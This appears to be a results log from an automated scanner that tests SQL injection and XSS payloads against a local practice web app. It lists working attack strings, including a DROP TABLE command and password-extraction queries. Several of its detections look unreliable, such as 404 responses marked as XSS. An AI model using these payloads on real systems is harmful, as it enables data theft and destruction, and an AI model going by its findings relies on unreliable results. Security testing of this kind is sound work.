sql_injection	http://localhost:8000/vulnerabilities/sqli	1' OR sleep(5)--	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' UNION SELECT NULL, NULL, NULL --	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' AND 1=2 UNION SELECT 1,2,3 --	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR EXISTS(SELECT * FROM users) --	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	SQL Injection	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	""><script>alert('XSS')</script>	XSS	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<script>alert('XSS')</script>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<img src=x onerror=alert('XSS')>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<svg/onload=alert('XSS')>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<body onload=alert('XSS')>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<details open ontoggle=alert('XSS')>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<input autofocus onfocus=alert('XSS')>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<video><source onerror=alert('XSS')>	취약점 없음	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<a href='javascript:alert(XSS)'>Click</a>	XSS	200	0.40s
xss	http://localhost:8000/vulnerabilities/sqli	<p/onclick=alert(/XSS/)>a	XSS	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	<script>\$=1,alert(\$)</script>	XSS	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	<script>alert(1)	XSS	200	0.41s

xss	http://localhost:8000/vulnerabilities/sqli	<script>alert(1)<!--XSS	XSS	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	"><svg/onload=confirm(1)>	XSS	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	<math><mtext></mtext><script>alert('XSS')</script></math>	취약점 없음	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	<button form=test onformchange=alert(1)>	XSS	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	<form><button formaction="javascript:alert(1)">	XSS	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	<details ontoggle=alert('XSS') open>	취약점 없음	200	0.41s
xss	http://localhost:8000/vulnerabilities/sqli	'"><svg/onload=confirm(1)>	XSS	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR 1=1 --	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR 'a'='a	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	'; DROP TABLE users; --	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1' /*	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1' ({	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	admin' --	취약점 없음	200	0.41s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR '1'='1' #	취약점 없음	200	0.42s
sql_injection	http://localhost:8000/vulnerabilities/exec	1' OR sleep(5)--	취약점 없음	200	0.42s
sql_injection	http://localhost:8000/vulnerabilities/exec	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.42s
sql_injection	http://localhost:8000/vulnerabilities/exec	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.42s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.42s
sql_injection	http://localhost:8000/vulnerabilities/exec	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.42s
sql_injection	http://localhost:8000/vulnerabilities/exec	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<script>alert('XSS')</script>	XSS	200	0.42s

xss	http://localhost:8000/vulnerabilities/exec	"><script>alert('XSS')</script>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<img src=x onerror=alert('XSS')>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<svg/onload=alert('XSS')>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<body onload=alert('XSS')>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<details open ontoggle=alert('XSS')>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<input autofocus onfocus=alert('XSS')>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<video><source onerror=alert('XSS')>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<a href='javascript:alert(XSS)''>Click</a>	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<p/onclick=alert(/XSS/)>a	XSS	200	0.42s
xss	http://localhost:8000/vulnerabilities/exec	<script>\$=1,alert(\$)</script>	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	<script>alert(1)	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	<script>alert(1)<!--XSS	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	"><svg/onload=confirm(1)>	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	<button form=test onformchange=alert(1)>	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	<form><button formaction="javascript:alert(1)">	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	<details ontoggle=alert('XSS') open>	XSS	200	0.43s
xss	http://localhost:8000/vulnerabilities/exec	"><svg/onload=confirm(1)>	XSS	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR 1=1 --	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR 'a'='a	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	'; DROP TABLE users; --	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1' /*	취약점 없음	200	0.43s

sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1' ({	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	admin' --	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR '1'='1' #	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	1' OR sleep(5)--	취약점 없음	200	0.43s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.44s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.44s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.44s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.44s
sql_injection	http://localhost:8000/vulnerabilities/csrf	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<script>alert('XSS')</script>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	""><script>alert('XSS')</script>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<img src=x onerror=alert('XSS')>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<svg/onload=alert('XSS')>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<details open ontoggle=alert('XSS')>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<body onload=alert('XSS')>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<input autofocus onfocus=alert('XSS')>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<video><source onerror=alert('XSS')>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<a href='javascript:alert(XSS)'">Click</a>	XSS	200	0.44s
xss	http://localhost:8000/vulnerabilities/csrf	<p/onclick=alert(/XSS/)>a	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<script>\$=1,alert(\$)</script>	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<script>alert(1)	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<script>alert(1)<!--XSS	XSS	200	0.45s

xss	http://localhost:8000/vulnerabilities/csrf	"><svg/onload=confirm(1)>	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<button form=test onformchange=alert(1)>	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<form><button formaction="javascript:alert(1)">	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	<details ontoggle=alert('XSS') open>	XSS	200	0.45s
xss	http://localhost:8000/vulnerabilities/csrf	'"><svg/onload=confirm(1)>	XSS	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR 1=1 --	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR 'a'='a	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	'; DROP TABLE users; --	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' /*	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' ({	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	admin' --	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR '1'='1' #	취약점 없음	200	0.45s
sql_injection	http://localhost:8000/vulnerabilities/javascript	1' OR sleep(5)--	취약점 없음	200	0.46s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.46s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.46s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.46s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.46s
sql_injection	http://localhost:8000/vulnerabilities/javascript	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<script>alert('XSS')</script>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	'"><script>alert('XSS')</script>	XSS	200	0.46s



xss	http://localhost:8000/vulnerabilities/javascript	<img src=x onerror=alert('XSS')>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<svg/onload=alert('XSS')>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<body onload=alert('XSS')>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<details open ontoggle=alert('XSS')>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<input autofocus onfocus=alert('XSS')>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<a href='javascript:alert(XSS)'">Click</a>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<video><source onerror=alert('XSS')>	XSS	200	0.46s
xss	http://localhost:8000/vulnerabilities/javascript	<p/onclick=alert(/XSS/)>a	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<script>\$=1,alert(\$)</script>	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<script>alert(1)	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<script>alert(1)<!--XSS	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	"><svg/onload=confirm(1)>	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<button form=test onformchange=alert(1)>	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<form><button formaction="javascript:alert(1)">	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	<details ontoggle=alert('XSS') open>	XSS	200	0.47s
xss	http://localhost:8000/vulnerabilities/javascript	'"><svg/onload=confirm(1)>	XSS	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1	취약점 없음	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR 1=1 --	취약점 없음	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR 'a'='a	취약점 없음	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	'; DROP TABLE users; --	취약점 없음	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' /*	취약점 없음	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' ({	취약점 없음	200	0.47s

sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	admin' --	취약점 없음	200	0.47s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	1' OR sleep(5)--	취약점 없음	200	0.48s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR '1'='1' #	취약점 없음	200	0.48s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.48s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.48s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.48s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.48s
sql_injection	http://localhost:8000/vulnerabilities/sqli_blind	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert('XSS')</script>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	""<script>alert('XSS')</script>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<img src=x onerror=alert('XSS')>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<svg/onload=alert('XSS')>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<body onload=alert('XSS')>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<details open ontoggle=alert('XSS')>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<input autofocus onfocus=alert('XSS')>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<video><source onerror=alert('XSS')>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<a href='javascript:alert(XSS)'\>Click</a>	취약점 없음	200	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<p/onclick=alert(/XSS/)>a	XSS	404	0.48s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>\$=1,alert(\$)</script>	XSS	404	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert(1)	XSS	404	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<script>alert(1)<!--XSS	XSS	404	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	"><svg/onload=confirm(1)>	XSS	404	0.49s

xss	http://localhost:8000/vulnerabilities/sqli_blind	<math><mtext></mtext><script>alert('XSS')</script></math>	취약점 없음	200	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<button form=test onformchange=alert(1)>	XSS	404	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<form><button formaction="javascript:alert(1)">	XSS	404	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	<details ontoggle=alert('XSS') open>	취약점 없음	200	0.49s
xss	http://localhost:8000/vulnerabilities/sqli_blind	'"><svg/onload=confirm(1)>	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR 1=1 --	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR 'a'='a	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	'; DROP TABLE users; --	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1' /*	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1' ({	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	admin' --	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR '1'='1' #	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	1' OR sleep(5)--	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.49s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.50s
sql_injection	http://localhost:8000/vulnerabilities/upload	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.50s
sql_injection	http://localhost:8000/vulnerabilities/upload	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<script>alert('XSS')</script>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	'"><script>alert('XSS')</script>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<img src=x onerror=alert('XSS')>	XSS	200	0.50s

xss	http://localhost:8000/vulnerabilities/upload	<svg/onload=alert('XSS')>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<body onload=alert('XSS')>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<details open ontoggle=alert('XSS')>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<input autofocus onfocus=alert('XSS')>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<video><source onerror=alert('XSS')>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<a href='javascript:alert(XSS)'>Click</a>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<p/onclick=alert(/XSS/)>a	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<script>\$=1,alert(\$)</script>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<script>alert(1)	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<script>alert(1)<!--XSS	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	"><svg/onload=confirm(1)>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<button form=test onformchange=alert(1)>	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<form><button formaction="javascript:alert(1)">	XSS	200	0.50s
xss	http://localhost:8000/vulnerabilities/upload	<details ontoggle=alert('XSS') open>	XSS	200	0.51s
xss	http://localhost:8000/vulnerabilities/upload	'"><svg/onload=confirm(1)>	XSS	200	0.51s